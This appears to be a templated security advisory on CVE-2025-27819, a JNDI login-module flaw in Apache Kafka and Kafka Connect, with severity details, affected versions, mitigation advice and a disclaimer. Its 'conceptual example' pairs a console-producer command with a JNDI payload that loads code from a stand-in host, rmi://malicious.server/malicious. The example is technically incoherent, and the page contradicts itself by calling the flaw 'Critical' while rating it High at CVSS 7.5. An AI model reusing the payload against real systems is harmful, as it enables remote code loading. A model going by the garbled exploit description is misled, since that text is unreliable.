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CVE-2025-27819: Critical RCE/Denial of Service Attack via SASL JAAS JndiLoginModule Configuration in Kafka Connect API and Apache Kafka Brokers

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Overview

This report presents a critical vulnerability, CVE-2025-27819, that affects the Kafka Connect API and Apache Kafka brokers. This vulnerability allows for Remote Code Execution (RCE) and Denial of Service attacks, posing a severe threat to system integrity and data security. It is of paramount importance due to its potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-27819
Severity: High, with a CVSS score of 7.5
Attack Vector: Network
Privileges Required: High (AlterConfigs permission on the cluster resource)
User Interaction: None
Impact: Potential system compromise or data leakage

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Product | Affected Versions

Kafka Connect API | All versions prior to 3.4.0
Apache Kafka | All versions prior to 3.4.0

How the Exploit Works

The vulnerability resides in the SASL JAAS JndiLoginModule configuration of both the Kafka Connect API and Apache Kafka brokers. An attacker with AlterConfigs permission on the cluster resource can exploit this vulnerability by sending a specially crafted request to connect to the Kafka cluster. Successful exploitation could lead to remote code execution or denial of service attack, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

kafka-console-producer --broker-list target.kafka.broker:9092 --topic test --producer.config=/path/to/alterConfigs_permission_config
# After gaining access
{ "type": "JNDI", "value": "rmi://malicious.server/malicious" }

In this example, the attacker uses the `kafka-console-producer` command with the `–producer.config` option pointing to a configuration file with AlterConfigs permission to connect to the Kafka cluster. Once connected, they send a malicious payload that exploits the JndiLoginModule vulnerability.

Mitigation Guidance

It is recommended to apply the vendor patch immediately. For Apache Kafka, upgrade to version 3.4.0 or later where the problematic login modules usage in SASL JAAS configuration is disabled. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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